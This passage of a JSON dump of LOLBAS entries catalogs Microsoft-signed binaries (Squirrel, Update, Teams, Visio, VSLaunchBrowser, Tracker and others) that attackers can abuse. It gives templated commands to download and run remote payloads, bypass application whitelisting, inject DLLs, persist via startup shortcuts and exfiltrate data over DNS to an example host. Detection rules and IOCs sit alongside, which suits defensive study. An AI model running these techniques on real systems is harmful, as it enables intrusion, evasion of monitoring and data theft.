https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_susp_sqldumper_activity.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_lsass_memdump_file_created.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\nResources:\n - Link: https://twitter.com/countuponsec/status/910969424215232518\n - Link: https://twitter.com/countuponsec/status/910977826853068800\n - Link: https://support.microsoft.com/en-us/help/917825/how-to-use-the-sqldumper-exe-utility-to-generate-a-dump-file-in-sql-se\nAcknowledgement:\n - Person: Luis Rocha\n Handle: '@countuponsec'\n" }, { "path": "yml/OtherMSBinaries/Sqlps.yml", "content": "---\nName: Sqlps.exe\nDescription: Tool included with Microsoft SQL Server that loads SQL Server cmdlets. Microsoft SQL Server\\100 and 110 are Powershell v2. Microsoft SQL Server\\120 and 130 are Powershell version 4. Replaced by SQLToolsPS.exe in SQL Server 2016, but will be included with installation for compatability reasons.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Sqlps.exe -noprofile\n Description: Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.\n Usecase: Execute PowerShell commands without ScriptBlock logging.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Program files (x86)\\Microsoft SQL Server\\100\\Tools\\Binn\\sqlps.exe\n - Path: C:\\Program files (x86)\\Microsoft SQL Server\\110\\Tools\\Binn\\sqlps.exe\n - Path: C:\\Program files (x86)\\Microsoft SQL Server\\120\\Tools\\Binn\\sqlps.exe\n - Path: C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe\n - Path: C:\\Program Files (x86)\\Microsoft SQL Server\\150\\Tools\\Binn\\SQLPS.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/execution_suspicious_powershell_imgload.toml\n - Splunk: https://github.com/splunk/security_content/blob/aa9f7e0d13a61626c69367290ed1b7b71d1281fd/docs/_posts/2021-10-05-suspicious_copy_on_system32.md\nResources:\n - Link: https://twitter.com/ManuelBerrueta/status/1527289261350760455\n - Link: https://twitter.com/bryon_/status/975835709587075072\n - Link: https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017\nAcknowledgement:\n - Person: Bryon\n Handle: '@bryon_'\n - Person: Manny\n Handle: '@ManuelBerrueta'\n" }, { "path": "yml/OtherMSBinaries/Sqltoolsps.yml", "content": "---\nName: SQLToolsPS.exe\nDescription: Tool included with Microsoft SQL that loads SQL Server cmdlts. A replacement for sqlps.exe. Successor to sqlps.exe in SQL Server 2016+.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: SQLToolsPS.exe -noprofile -command Start-Process {PATH:.exe}\n Description: Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.\n Usecase: Execute PowerShell command.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows\n Tags:\n - Execute: PowerShell\nFull_Path:\n - Path: C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_mssql_sqltoolsps_susp_execution.yml\n - Splunk: https://github.com/splunk/security_content/blob/aa9f7e0d13a61626c69367290ed1b7b71d1281fd/docs/_posts/2021-10-05-suspicious_copy_on_system32.md\nResources:\n - Link: https://twitter.com/pabraeken/status/993298228840992768\n - Link: https://docs.microsoft.com/en-us/sql/powershell/sql-server-powershell?view=sql-server-2017\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OtherMSBinaries/Squirrel.yml", "content": "---\nName: Squirrel.exe\nDescription: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.\nAuthor: 'Reegun J (OCBC Bank) - @reegun21'\nCreated: 2019-06-26\nCommands:\n - Command: squirrel.exe --download {REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file and download the nuget package.\n Usecase: Download binary\n Category: Download\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n - Command: squirrel.exe --update {REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: squirrel.exe --update {REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: squirrel.exe --updateRollback={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: squirrel.exe --updateRollback={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\nFull_Path:\n - Path: 'C:\\Users\\\\AppData\\Local\\Microsoft\\Teams\\current\\Squirrel.exe'\nCode_Sample:\n - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml\nResources:\n - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls\n - Link: https://twitter.com/reegun21/status/1144182772623269889\n - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/\n - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12\n - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56\nAcknowledgement:\n - Person: Reegun J (OCBC Bank)\n Handle: '@reegun21'\n - Person: Adam\n Handle: '@Hexacorn'\n" }, { "path": "yml/OtherMSBinaries/Te.yml", "content": "---\nName: te.exe\nDescription: Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF).\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: te.exe {PATH:.wsc}\n Description: Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.\n Usecase: Execute Visual Basic script stored in local Windows Script Component file.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: WSH\n - Command: te.exe {PATH:.dll}\n Description: Execute commands from a DLL file with Test Authoring and Execution Framework (TAEF) tests. See resources section for required structures.\n Usecase: Execute DLL file.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\n - Input: Custom Format\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml\nResources:\n - Link: https://twitter.com/gn3mes1s/status/927680266390384640\n - Link: https://github.com/LOLBAS-Project/LOLBAS/pull/359\n - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/authoring-tests\nAcknowledgement:\n - Person: Giuseppe N3mes1s\n Handle: '@gN3mes1s'\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Teams.yml", "content": "---\nName: Teams.exe\nDescription: Electron runtime binary which runs the Teams application\nAuthor: Andrew Kisliakov\nCreated: 2022-01-17\nCommands:\n - Command: teams.exe\n Description: Generate JavaScript payload and package.json, and save to \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app\\\\\" before executing.\n Usecase: Execute JavaScript code\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: Node.JS\n - Command: teams.exe\n Description: Generate JavaScript payload and package.json, archive in ASAR file and save to \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app.asar\" before executing.\n Usecase: Execute JavaScript code\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: Node.JS\n - Command: teams.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"\n Description: Teams spawns cmd.exe as a child process of teams.exe and executes the ping command\n Usecase: Executes a process under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1218.015\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: 'C:\\Users\\\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\nCode_Sample:\n - Code: https://github.com/lltltk/LOLBAS-research/tree/master/Teams\nDetection:\n - IOC: \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app directory created\"\n - IOC: \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app.asar file created/modified by non-Teams installer/updater\"\n - Sigma: https://github.com/SigmaHQ/sigma/blob/43277f26fc1c81fc98fc79147b711189e901b757/rules/windows/process_creation/proc_creation_win_susp_electron_exeuction_proxy.yml\nResources:\n - Link: https://l--k.uk/2022/01/16/microsoft-teams-and-other-electron-apps-as-lolbins/\nAcknowledgement:\n - Person: Andrew Kisliakov\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/Testwindowremoteagent.yml", "content": "---\nName: TestWindowRemoteAgent.exe\nDescription: TestWindowRemoteAgent.exe is the command-line tool to establish RPC\nAuthor: Onat Uzunyayla\nCreated: 2023-08-21\nCommands:\n - Command: TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000\n Description: Sends DNS query for open connection to any host, enabling exfiltration over DNS\n Usecase: Attackers may utilize this to exfiltrate data over DNS\n Category: Upload\n Privileges: User\n MitreID: T1048\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\RemoteAgent\\TestWindowRemoteAgent.exe\nDetection:\n - IOC: TestWindowRemoteAgent.exe spawning unexpectedly\nAcknowledgement:\n - Person: Onat Uzunyayla\n" }, { "path": "yml/OtherMSBinaries/Tracker.yml", "content": "---\nName: Tracker.exe\nDescription: Tool included with Microsoft .Net Framework.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Tracker.exe /d {PATH:.dll} /c C:\\Windows\\write.exe\n Description: Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.\n Usecase: Injection of locally stored DLL file into target process.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\n - Command: Tracker.exe /d {PATH:.dll} /c C:\\Windows\\write.exe\n Description: Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions.\n Usecase: Injection of locally stored DLL file into target process.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml\nResources:\n - Link: https://twitter.com/subTee/status/793151392185589760\n - Link: https://attack.mitre.org/wiki/Execution\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subTee'\n" }, { "path": "yml/OtherMSBinaries/Update.yml", "content": "---\nName: Update.exe\nDescription: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.\nAuthor: Oddvar Moe\nCreated: 2019-06-26\nCommands:\n - Command: Update.exe --download {REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file and download the nuget package.\n Usecase: Download binary\n Category: Download\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n - Command: Update.exe --update={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --update={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --update={PATH_SMB:folder}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --update={PATH_SMB:folder}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --updateRollback={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --updateRollback={REMOTEURL}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --processStart {PATH:.exe} --process-start-args \"{CMD:args}\"\n Description: Copy your payload into %userprofile%\\AppData\\Local\\Microsoft\\Teams\\current\\. Then run the command. Update.exe will execute the file you copied.\n Usecase: Application Whitelisting Bypass\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: CMD\n - Execute: Remote\n - Command: Update.exe --updateRollback={PATH_SMB:folder}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.\n Usecase: Download and execute binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --updateRollback={PATH_SMB:folder}\n Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.\n Usecase: Download and execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: Nuget\n - Execute: Remote\n - Command: Update.exe --processStart {PATH:.exe} --process-start-args \"{CMD:args}\"\n Description: Copy your payload into %userprofile%\\AppData\\Local\\Microsoft\\Teams\\current\\. Then run the command. Update.exe will execute the file you copied.\n Usecase: Execute binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: CMD\n - Command: Update.exe --createShortcut={PATH:.exe} -l=Startup\n Description: Copy your payload into \"%localappdata%\\Microsoft\\Teams\\current\\\". Then run the command. Update.exe will create a shortcut to the specified executable in \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\". Then payload will run on every login of the user who runs it.\n Usecase: Execute binary\n Category: Execute\n Privileges: User\n MitreID: T1547\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: EXE\n - Command: Update.exe --removeShortcut={PATH:.exe}-l=Startup\n Description: Run the command to remove the shortcut created in the \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" directory you created with the LolBinExecution \"--createShortcut\" described on this page.\n Usecase: Execute binary\n Category: Execute\n Privileges: User\n MitreID: T1070\n OperatingSystem: Windows 7 and up with Microsoft Teams installed\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: 'C:\\Users\\\\AppData\\Local\\Microsoft\\Teams\\update.exe'\nCode_Sample:\n - Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml\n - IOC: Update.exe spawned an unknown process\nResources:\n - Link: https://www.youtube.com/watch?v=rOP3hnkj7ls\n - Link: https://twitter.com/reegun21/status/1144182772623269889\n - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408\n - Link: https://twitter.com/reegun21/status/1291005287034281990\n - Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/\n - Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12\n - Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56\n - Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/\nAcknowledgement:\n - Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave)\n Handle: '@reegun21'\n - Person: Mr.Un1k0d3r\n Handle: '@MrUn1k0d3r'\n - Person: Adam\n Handle: '@Hexacorn'\n - Person: Jesus Galvez\n" }, { "path": "yml/OtherMSBinaries/VSDiagnostics.yml", "content": "---\nName: VSDiagnostics.exe\nDescription: Command-line tool used for performing diagnostics.\nAuthor: Bobby Cooke\nCreated: 2023-07-12\nCommands:\n - Command: VSDiagnostics.exe start 1 /launch:{PATH:.exe}\n Description: Starts a collection session with sessionID 1 and calls kernelbase.CreateProcessW to launch specified executable.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Command: VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:\"{CMD:args}\"\n Description: Starts a collection session with sessionID 2 and calls kernelbase.CreateProcessW to launch specified executable. Arguments specified in launchArgs are passed to CreateProcessW.\n Usecase: Proxy execution of binary with arguments\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe\nDetection:\n - Sigma: https://github.com/tsale/Sigma_rules/blob/d5b4a09418edfeeb3a2d654f556d5bca82003cd7/LOL_BINs/VSDiagnostics_LoLBin.yml\nResources:\n - Link: https://twitter.com/0xBoku/status/1679200664013135872\nAcknowledgement:\n - Person: Bobby Cooke\n Handle: '@0xBoku'\n" }, { "path": "yml/OtherMSBinaries/VSIISExeLauncher.yml", "content": "---\nName: VSIISExeLauncher.exe\nDescription: Binary will execute specified binary. Part of VS/VScode installation.\nAuthor: timwhite\nCreated: 2021-09-24\nCommands:\n - Command: VSIISExeLauncher.exe -p {PATH:.exe} -a \"{CMD:args}\"\n Description: The above binary will execute other binary.\n Usecase: Execute any binary with given arguments.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 and up with VS/VScode installed\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\Extensions\\Microsoft\\Web Tools\\ProjectSystem\\VSIISExeLauncher.exe'\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_vsiisexelauncher.yml\n - IOC: VSIISExeLauncher.exe spawned an unknown process\nResources:\n - Link: https://github.com/timwhitez\nAcknowledgement:\n - Person: timwhite\n" }, { "path": "yml/OtherMSBinaries/Visio.yml", "content": "---\nName: Visio.exe\nDescription: Microsoft Visio Executable\nAuthor: Avihay Eldad\nCreated: 2024-02-15\nCommands:\n - Command: Visio.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\Visio.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\Visio.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\Visio.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office14\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office14\\Visio.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office15\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office15\\Visio.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Visio.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio.exe\nDetection:\n - IOC: URL on a visio.exe command line\n - IOC: visio.exe making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/VisualUiaVerifyNative.yml", "content": "---\nName: VisualUiaVerifyNative.exe\nDescription: A Windows SDK binary for manual and automated testing of Microsoft UI Automation implementation and controls.\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: VisualUiaVerifyNative.exe\n Description: Generate Serialized gadget and save to - `C:\\Users\\%USERNAME%\\AppData\\Roaminguiverify.config` before executing.\n Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: .NetObjects\nFull_Path:\n - Path: c:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\arm64\\UIAVerify\\VisualUiaVerifyNative.exe\n - Path: c:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\x64\\UIAVerify\\VisualUiaVerifyNative.exe\n - Path: c:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\UIAVerify\\VisualUiaVerifyNative.exe\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_visualuiaverifynative.yml\n - IOC: As a Windows SDK binary, execution on a system may be suspicious\nResources:\n - Link: https://bohops.com/2020/10/15/exploring-the-wdac-microsoft-recommended-block-rules-visualuiaverifynative/\n - Link: https://github.com/MicrosoftDocs/windows-itpro-docs/commit/937db704b9148e9cee7c7010cad4d00ce9c4fdad\nAcknowledgement:\n - Person: Lee Christensen\n Handle: '@tifkin'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/VsLaunchBrowser.yml", "content": "---\nName: VSLaunchBrowser.exe\nDescription: Microsoft Visual Studio browser launcher tool for web applications debugging\nAuthor: Avihay Eldad\nCreated: 2024-04-12\nCommands:\n - Command: VSLaunchBrowser.exe .exe {REMOTEURL:.exe}\n Description: Download and execute payload from remote server\n Usecase: It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\n - Command: VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}\n Description: Execute payload via VSLaunchBrowser as parent process\n Usecase: It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: VSLaunchBrowser.exe .exe {PATH_SMB}\n Description: Execute payload from WebDAV server via VSLaunchBrowser as parent process\n Usecase: It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Execute: Remote\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\\\Community\\Common7\\IDE\\VSLaunchBrowser.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\\\Community\\Common7\\IDE\\VSLaunchBrowser.exe\nDetection:\n - IOC: cmd.exe as sub-process of VSLaunchBrowser\n - IOC: URL on a VSLaunchBrowser command line\n - IOC: VSLaunchBrowser making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Vshadow.yml", "content": "---\nName: Vshadow.exe\nDescription: VShadow is a command-line tool that can be used to create and manage volume shadow copies.\nAuthor: Ayberk Halaç\nCreated: 2023-09-06\nCommands:\n - Command: 'vshadow.exe -nw -exec={PATH_ABSOLUTE:.exe} C:'\n Description: Executes specified executable from vshadow.exe.\n Usecase: Performs execution of specified executable file.\n Category: Execute\n Privileges: Administrator\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\x64\\vshadow.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_vshadow_exec.yml\n - IOC: vshadow.exe usage with -exec parameter\nResources:\n - Link: https://learn.microsoft.com/en-us/windows/win32/vss/vshadow-tool-and-sample\nAcknowledgement:\n - Person: Ayberk Halaç\n" }, { "path": "yml/OtherMSBinaries/Vsjitdebugger.yml", "content": "---\nName: vsjitdebugger.exe\nDescription: Just-In-Time (JIT) debugger included with Visual Studio\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: Vsjitdebugger.exe {PATH:.exe}\n Description: Executes specified executable as a subprocess of Vsjitdebugger.exe.\n Usecase: Execution of local PE file as a subprocess of Vsjitdebugger.exe.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: c:\\windows\\system32\\vsjitdebugger.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/990758590020452353\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n" }, { "path": "yml/OtherMSBinaries/WFMFormat.yml", "content": "---\nName: WFMFormat.exe\nDescription: Command-line tool used for pretty-print a dump file generated by Message Farm Analyzer tool.\nAuthor: Tim Baker\nCreated: 2024-12-05\nCommands:\n - Command: WFMFormat.exe\n Description: Executes the file `tracerpt.exe` in the same folder as `WFMFormat.exe`. If the file `dumpfile.txt` (any content) exists in the current working directory, no arguments are required. Note that `WFMFormat.exe` requires .NET Framework 3.5.\n Usecase: Proxy execution of binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: .NET Framework 3.5\nFull_Path:\n - Path: C:\\there\\is\\no\\default\\installation\\path\\WFMFormat.exe\nDetection:\n - IOC: Child process from WFMFormat.exe\n - IOC: tracerpt.exe processes located anywhere other than c:\\windows\\system32\nResources:\n - Link: https://www.microsoft.com/en-us/download/details.aspx?id=103244\nAcknowledgement:\n - Person: Tim Baker (https://www.dotsec.com)\n" }, { "path": "yml/OtherMSBinaries/Wfc.yml", "content": "---\nName: Wfc.exe\nDescription: The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: wfc.exe {PATH_ABSOLUTE:.xoml}\n Description: Execute arbitrary C# code embedded in a XOML file.\n Usecase: Execute proxied payload with Microsoft signed binary to bypass WDAC policies\n Category: AWL Bypass\n Privileges: User\n MitreID: 